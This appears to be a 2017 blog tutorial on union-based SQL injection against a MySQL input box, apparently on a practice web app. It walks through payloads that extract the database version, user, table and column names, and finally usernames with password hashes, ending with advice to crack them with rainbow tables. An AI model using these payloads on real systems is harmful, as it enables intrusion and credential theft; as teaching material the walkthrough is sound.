October 28, 2017

SQL Injection for MySQL

Found an Input Box without Input Validation

Here is how to score the usernames and passwords from a MySQL database using SQL Injection on a single unprotected input box.

Get the MySQL Version

Now, I’m going to get the MySQL version, by using:
9999' or 1=9 union select null, version() #

  • 9999, is a valid input type and a value that is probably high enough to not be used yet (I don’t care about returning real data here).
  • , terminates the 1st query
  • or 1=9, is just a false statement, but is needed to execute the union statement
  • union, allows you to append something to the output of the 1st query
  • select null, version() #, this is the 2nd query.
    • select, is obvious
    • null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.  In this case the 1st query has 2 fields labeled First name & Surname. So I have 2 positions to fill but I’m only needing 1, so I put a null in it to make it happy.
    • version(), returns the version of the MySQL instance.  I might need this to see what vulnerabilities that can be exploited against this version.

Get the MySQL User

It might be handy to grab the user account that the instance of MySQL is running under.  I’ll use this:
9999' or 1=9 union select null, user() #

  • 9999, is a valid input type and a value that is probably high enough to not be used yet (I don’t care about returning real data here).
  • , terminates the 1st query
  • or 1=9, is just a false statement, but is needed to execute the union statement
  • union, allows you to append something to the output of the 1st query
  • select null, user() #, this is the 2nd query.
    • select, is obvious
    • null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.  In this case the 1st query has 2 fields labeled First name & Surname. So I have 2 positions to fill but I’m only needing 1, so I put a null in it to make it happy.
    • user(), returns the user account that the instance of MySQL is running under.

Get the Database Name

To get the database, I use the above query and replace the user() with database(), like this:
9999' or 1=9 union select null, database() #

  • 9999, is a valid input type and a value that is probably high enough to not be used yet (I don’t care about returning real data here).
  • , terminates the 1st query
  • or 1=9, is just a false statement, but is needed to execute the union statement
  • union, allows you to append something to the output of the 1st query
  • select null, database() #, this is the 2nd query.
    • select, is obvious
    • null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.  In this case the 1st query has 2 fields labeled First name & Surname. So I have 2 positions to fill but I’m only needing 1, so I put a null in it to make it happy.
    • database(), returns the database name.

Get the Table Names in the Database

To dump out a list of tables in the database, I did this:
9999' or 1=9 union select null, table_name from information_schema.tables #

  • 9999, is a valid input type and a value that is probably high enough to not be used yet (I don’t care about returning real data here).
  • , terminates the 1st query
  • or 1=9, is just a false statement, but is needed to execute the union statement
  • union, allows you to append something to the output of the 1st query
  • select null, table_name from information_schema.tables #, this is the 2nd query.
    • select, is obvious
    • null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.  In this case the 1st query has 2 fields labeled First name & Surname. So I have 2 positions to fill but I’m only needing 1, so I put a null in it to make it happy.
    • table_name, returns the names of tables in the database.
    • information_schema.tables, is the mysql table that contains the list of tables in the database.

Get the Column Names of a Table

Now, I’m getting closer.  I’m interested in the users table.  To get the columns of the table:
9999' or 1=9 union select null, concat(table_name,0x0a,column_name)
from information_schema.columns where table_name='users' #

  • 9999, is a valid input type and a value that is probably high enough to not be used yet (I don’t care about returning real data here).
  • , terminates the 1st query
  • or 1=9, is just a false statement, but is needed to execute the union statement
  • union, allows you to append something to the output of the 1st query
  • concat(table_name,0x0a,column_name), combine the table and column name into the same field.  0x0a is ASCII for new line.
  • from information_schema.columns, is the mysql table containing the columns for the tables.
  • where table_name=’users’, I only care about the users table here.

Query to End the Game!

Let’s see the usernames and passwords
9999' or 1=9 union select null, concat(user,0x0a,password) from users #

I now have the password hashes.  Next step is to compare these hashes to some rainbow tables and look for a match.

  • admin / 5f4dcc3b5aa765d61d8327deb882cf99
  • gordonb / e99a18c428cb38d5f260853678922e03
  • 1337 / 8d3533d75ae2c3966d7e0d4fcc69216b
  • pablo / 0d107d09f5bbe40cade3de5c71e9e9b7
  • smithy / 5f4dcc3b5aa765d61d8327deb882cf99